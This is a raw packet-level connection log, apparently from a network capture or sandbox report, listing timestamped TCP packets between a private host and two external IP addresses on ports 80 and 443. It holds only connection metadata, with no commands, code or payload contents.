Nov 12, 2024 15:42:22.300134897 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.300147057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.300198078 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.300211906 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.300213099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.300221920 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.300251007 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.300295115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.300307035 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.300324917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.300324917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.300354004 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.354255915 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.357634068 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.359144926 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.361453056 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.361469984 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.363656044 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.375838995 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.375883102 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.375893116 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.375909090 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.375921011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.375931978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.375941992 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.375956059 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.375988007 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.376024008 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.411350012 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.415700912 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.415714979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.415724993 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.415735006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.415745974 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.415766954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.415793896 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.459408998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.459434986 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.459460974 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.459472895 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.491682053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.491708040 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.491717100 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.491764069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.491795063 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.520618916 CET	49765	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.522928953 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.522947073 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.530725002 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.530746937 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.530759096 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.530770063 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.530791998 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.530805111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.530807018 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.530844927 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.530927896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.530939102 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.530949116 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.530961037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.530963898 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.530982971 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.531008959 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.576952934 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.577033043 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.577614069 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.582088947 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.582101107 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.583657980 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.585118055 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.585139990 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.606795073 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.606808901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.606822014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.606853008 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.606877089 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.646087885 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.646120071 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.646138906 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.646215916 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.646255016 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.646260977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.646274090 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.646284103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.646307945 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.646337986 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.646338940 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.646349907 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.646362066 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.646384001 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.647061110 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.711600065 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.718761921 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.722032070 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.722060919 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.722074032 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.722105980 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.722129107 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.737739086 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.737802982 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.738931894 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.761543036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.761593103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.761606932 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.761630058 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.761641979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.761656046 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.761663914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.761673927 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.761684895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.761709929 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.761720896 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.761933088 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.761970043 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.762042999 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.763823986 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.763835907 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.763850927 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.775747061 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.791131973 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.791163921 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.837331057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.837343931 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.837364912 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.837376118 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.837402105 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.837433100 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.846999884 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.858864069 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.876944065 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.876959085 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.876970053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.876981020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.876992941 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.877003908 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.877007961 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.877017975 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.877029896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.877044916 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.877058983 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.892805099 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.911880970 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.919667006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.919738054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.919749022 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.919807911 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.940543890 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.952851057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.952867031 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.952877998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.952935934 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.952986002 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.988436937 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.988475084 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.992101908 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.992111921 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:22.992295980 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.992326021 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.992337942 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.992386103 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.992408037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.992417097 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.992419958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.992432117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.992446899 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.992455959 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.992465973 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.992469072 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:22.992472887 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.992495060 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.992582083 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:22.994307995 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.995428085 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:22.995440960 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.035012960 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.035042048 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.035052061 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.035116911 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.041414022 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.063321114 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.068065882 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.068109989 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.068120956 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.068180084 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.107323885 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.126471043 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.126518011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.126538038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.126549006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.126558065 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.126569033 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.126580000 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.126585007 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.126590967 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.126633883 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.126635075 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.136065960 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.136101961 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.150808096 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.150824070 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.150835037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.150886059 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.168085098 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.174280882 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.174299002 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.182149887 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.183290958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.183343887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.183355093 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.183374882 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.183394909 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.200093985 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.241503954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241542101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241545916 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.241560936 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241575003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241612911 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241616011 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.241626978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241640091 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.241647959 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.241664886 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.241692066 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241746902 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.241772890 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241785049 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241807938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241821051 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241823912 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.241847992 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.241858006 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.241893053 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.254033089 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.254040956 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.257030964 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.266041040 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.266053915 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.266063929 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.266096115 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.266118050 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.270075083 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.298588991 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.298604012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.298615932 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.298675060 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.298716068 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.304321051 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.308609009 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.308614969 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.314281940 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.314346075 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.314361095 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.329145908 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.357157946 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357203007 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357219934 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357230902 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357245922 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.357254982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357260942 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.357266903 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357278109 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357289076 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357300997 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357311964 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.357315063 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.357323885 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.357342958 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.357367039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.379041910 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.379050016 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.381254911 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.381268024 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.381278038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.381289005 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.381335974 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.381380081 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.381900072 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.383831978 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.413922071 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.413933992 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.413990021 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.425940990 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.425949097 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.428431988 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.443517923 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.446589947 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.457690954 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.462825060 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.507334948 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.509172916 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.511698961 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.511735916 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.562556028 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.567097902 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.567136049 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.582350969 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.586680889 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.587692022 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587738037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587754011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587785959 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.587799072 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587812901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587825060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587838888 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587874889 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.587874889 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.587874889 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.587893009 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.587940931 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587955952 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587970018 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587981939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.587995052 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588006020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588027954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588027954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588027954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588027954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588028908 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588046074 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588054895 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588057995 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588068008 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588071108 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588089943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588105917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588116884 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588151932 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588179111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588190079 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588202000 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.588236094 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.588246107 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:23.595884085 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:23.599914074 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:23.613246918 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:23.613260031 CET	80	49794	185.215.113.16	192.168.2.4
